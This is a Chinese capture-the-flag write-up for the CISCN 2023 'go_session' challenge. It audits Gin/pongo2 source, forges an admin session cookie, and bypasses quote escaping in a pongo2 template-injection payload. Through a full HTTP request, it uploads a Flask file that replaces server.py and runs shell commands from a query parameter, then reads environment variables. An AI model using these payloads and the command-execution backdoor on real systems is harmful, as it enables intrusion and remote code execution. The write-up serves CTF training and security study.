• [CISCN 2023 初赛]go_session



    考点

    session伪造,pongo2模板注入,debug模式覆盖源文件

    代码审计

    main.go

    package main
    
    import (
    	"github.com/gin-gonic/gin"
    	"main/route"
    )
    
    func main() {
    	r := gin.Default()
    	r.GET("/", route.Index)
    	r.GET("/admin", route.Admin)
    	r.GET("/flask", route.Flask)
    	r.Run("0.0.0.0:80")
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    main函数给了三个路由,分别对应根路径 //admin/flask
    我们追踪到route.go

    route.go

    package route
    
    import (
    	"github.com/flosch/pongo2/v6"
    	"github.com/gin-gonic/gin"
    	"github.com/gorilla/sessions"
    	"html"
    	"io"
    	"net/http"
    	"os"
    )
    
    var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
    
    func Index(c *gin.Context) {
    	session, err := store.Get(c.Request, "session-name")
    	if err != nil {
    		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
    		return
    	}
    	if session.Values["name"] == nil {
    		session.Values["name"] = "guest"
    		err = session.Save(c.Request, c.Writer)
    		if err != nil {
    			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
    			return
    		}
    	}
    
    	c.String(200, "Hello, guest")
    }
    
    func Admin(c *gin.Context) {
    	session, err := store.Get(c.Request, "session-name")
    	if err != nil {
    		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
    		return
    	}
    	if session.Values["name"] != "admin" {
    		http.Error(c.Writer, "N0", http.StatusInternalServerError)
    		return
    	}
    	name := c.DefaultQuery("name", "ssti")
    	xssWaf := html.EscapeString(name)
    	tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
    	if err != nil {
    		panic(err)
    	}
    	out, err := tpl.Execute(pongo2.Context{"c": c})
    	if err != nil {
    		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
    		return
    	}
    	c.String(200, out)
    }
    
    func Flask(c *gin.Context) {
    	session, err := store.Get(c.Request, "session-name")
    	if err != nil {
    		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
    		return
    	}
    	if session.Values["name"] == nil {
    		if err != nil {
    			http.Error(c.Writer, "N0", http.StatusInternalServerError)
    			return
    		}
    	}
    	resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
    	if err != nil {
    		return
    	}
    	defer resp.Body.Close()
    	body, _ := io.ReadAll(resp.Body)
    
    	c.String(200, string(body))
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78

    这是一个路由文件,使用了Gin框架和pongo2的模板引擎

    主要定义了三个路由函数,接下来逐步分析

    Index函数

    func Index(c *gin.Context) {
    	session, err := store.Get(c.Request, "session-name")
    	if err != nil {
    		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
    		return
    	}
    	if session.Values["name"] == nil {
    		session.Values["name"] = "guest"
    		err = session.Save(c.Request, c.Writer)
    		if err != nil {
    			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
    			return
    		}
    	}
    
    	c.String(200, "Hello, guest")
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    Index函数用于处理根路径下的请求,它的参数是一个指向gin.Context的指针,而gin.Context是Gin框架中的一种上下文对象类型。它是一个包含了当前http请求和响应的信息、操作方法和属性的结构体,用于在处理http请求时传递和操作这些信息。同时gin.Context还提供了一系列的方法用于处理这些信息,这个将是我们后面利用的重点

    首先是接收session的参数name,然后判断会话中的name值是否为空,如果为空,就会将name的值设置为guest,然后将会话保存到请求中,最后使用String方法返回一个状态码和一个字符串。

    在这里插入图片描述

    Admin函数

    func Admin(c *gin.Context) {
    	session, err := store.Get(c.Request, "session-name")
    	if err != nil {
    		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
    		return
    	}
    	if session.Values["name"] != "admin" {
    		http.Error(c.Writer, "N0", http.StatusInternalServerError)
    		return
    	}
    	name := c.DefaultQuery("name", "ssti")
    	xssWaf := html.EscapeString(name)
    	tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
    	if err != nil {
    		panic(err)
    	}
    	out, err := tpl.Execute(pongo2.Context{"c": c})
    	if err != nil {
    		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
    		return
    	}
    	c.String(200, out)
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    函数首先判断是否为空,然后判断是否为admin,如果是name为admin,那么从查询参数中获取名为 name 的值,然后EscapeString函数进行转义,接着使用pongo2模板引擎打印字符串

    Flask函数

    func Flask(c *gin.Context) {
    	session, err := store.Get(c.Request, "session-name")
    	if err != nil {
    		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
    		return
    	}
    	if session.Values["name"] == nil {
    		if err != nil {
    			http.Error(c.Writer, "N0", http.StatusInternalServerError)
    			return
    		}
    	}
    	resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
    	if err != nil {
    		return
    	}
    	defer resp.Body.Close()
    	body, _ := io.ReadAll(resp.Body)
    
    	c.String(200, string(body))
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    函数判断参数name值是否为空,如果为空则返回报错信息(可能有我们需要的信息)

    这里有个坑,也就是下面这句

    resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
    
    • 1

    如果我们想要给flask服务传入参数name=123,实际上要构造的是./flask?name=%3fname=123

    解题过程

    伪造session

    题目大概逻辑已经清楚了,首要问题就是如何去伪造session,也就是如何去得到SESSION_KEY

    var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
    
    • 1

    执行过程:设置了基于 Cookie 的会话存储,并使用环境变量中的 SESSION_KEY 值作为会话密钥

    由于我们无法知道环境变量,只能对SESSION_KEY进行猜测,就是并未设置SESSION_KEY,所以我们可以本地搭环境得到session值去伪造

    首先修改源码
    如果name不为admin,将其值设置为admin
    在这里插入图片描述开启代理

    go env -w GOPROXY=https://goproxy.io,direct
    
    • 1

    然后运行下main.go
    在这里插入图片描述
    访问127.0.0.1:80,得到cookie
    在这里插入图片描述
    访问./admin,bp抓包修改session
    成功访问
    在这里插入图片描述
    伪造成功后我们再看看还有什么能获取的信息
    所以我们尝试读去下报错信息

    获取server.py

    我们访问./Flask,并且传参name为空
    (注意session得为admin)
    在这里插入图片描述得到html代码,我们随便打开个网页复制进去
    可以发现开启了debug,说明开启了热加载功能,允许在对代码进行更改后自动重新加载应用程序。这意味着可以在不必手动停止和重启 Flask 应用程序的情况下查看对代码的更改。
    在这里插入图片描述
    我们知道pongo2模板引擎存在注入点,可以执行go的代码,所以我们可以先上传文件覆盖server.py,再访问/flask路由,来执行命令

    构造payload

    使用gin包的SaveUploadedFile()进行文件上传

    func (c *Context) SaveUploadedFile(file *multipart.FileHeader, dst string) error

    • 第一个获取表单中的文件,第二个参数为保存的目录

    所以使用ssti的payload为

    {{c.SaveUploadedFile(c.FormFile("file"),"/app/server.py")}}
    
    • 1

    但是我们在前面代码审计的时候知道,双引号会被html.EscapeString转义进行编码,所以需要绕过

    我们利用gin中的Context.HandlerName()

    HandlerName
    返回主处理程序的名称。例如,如果处理程序是“handleGetUsers()”,此函数将返回“main.handleGetUsers”

    所以如果是在Admin()里,返回的就是main/route.Admin
    然后配合过滤器last获取到最后一个字符串也就是文件名为n

    还有一个Context.Request.Referer()Request.Referer

    返回header里的Referer的值

    我们可以在请求中的Referer的值添加为/app/server.py

    所以构造最终payload

    {{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}
    
    • 1

    但是在数据包中添加请求头时还要添加 Content-Type 头

    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND
    
    • 1

    对于添加这个头的解释是

    对表单提交,浏览器会自动设置合适的 Content-Type 请求,同时 生成一个唯一的边界字符串,并在请求体中使用这个边界字符串将不的表单字段和文件进行分隔。如果表单中包含文件上传的功能,需要 使用 multipart/form-data 类型的请求体格式。

    注意分隔符的开始和结束格式

    --分隔符
    ...
    ...
    --分隔符--
    
    • 1
    • 2
    • 3
    • 4

    覆盖server.py

    访问./admin,数据包如下

    GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}} HTTP/1.1
    Host: node5.anna.nssctf.cn:28120
    Referer: /app/server.py
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: session=MTY5OTAxNjY1NnxEdi1CQkFFQ180SUFBUkFCRUFBQVBQLUNBQUlHYzNSeWFXNW5EQWdBQm5OdmJIWmxaQU5wYm5RRUFnQUFCbk4wY21sdVp3d05BQXRqYUdGc2JHVnVaMlZKWkFOcGJuUUVBd0Rfa0E9PXx0Nhf11tos024WRtfbo-1x1tZkxqxiP2paIr7GAXXEqA==; session-name=MTY5OTMxNjI2NHxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXzsOnx_9Q3qCs6AZzIOC6h8UsEAuK5LiaOsjUjumSslrQ==
    Upgrade-Insecure-Requests: 1
    Content-Length: 423
    
    ------WebKitFormBoundary8ALIn5Z2C3VlBqND
    Content-Disposition: form-data; name="n"; filename="1.py"
    Content-Type: text/plain
    
    from flask import *
    import os
    app = Flask(__name__)
    
    @app.route('/')
    def index():
        name = request.args['name']
        file=os.popen(name).read()
        return file
    
    if __name__ == "__main__":
        app.run(host="0.0.0.0", port=5000, debug=True)
    ------WebKitFormBoundary8ALIn5Z2C3VlBqND--
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30

    可以看到上传成功
    在这里插入图片描述

    命令执行

    然后就在./flask去命令执行,因为我们知道该路由获取name也是c.DefaultQuery

    name=?name=env,拼接出来的url是
    http://127.0.0.1:5000/?name=env
    但写成name=env,拼接出来的url就是
    http://127.0.0.1:5000/env
    
    • 1
    • 2
    • 3
    • 4

    然后在环境变量找到flag

    /flask?name=?name=env
    
    • 1

    在这里插入图片描述

  • 相关阅读:
    商城项目12_规格参数新增与VO、列表展示、回显数据进行修改、销售属性维护
    【scala】类的属性
    【玩转CSS】盒子模型
    [论文阅读|博士论文]面向农作物叶片病害鲁棒性识别的深度卷积神经网络研究
    nginx 安全配置
    【ACWing】160. 匹配统计
    Oracle 19c LISTAGG 函数中distinct
    Java中double类型保留小数点后两位的方法
    配置阿里云镜像加速器 -docker
    Redis 中 Set 数据结构详解
  • 原文地址:https://blog.csdn.net/m0_73512445/article/details/134261219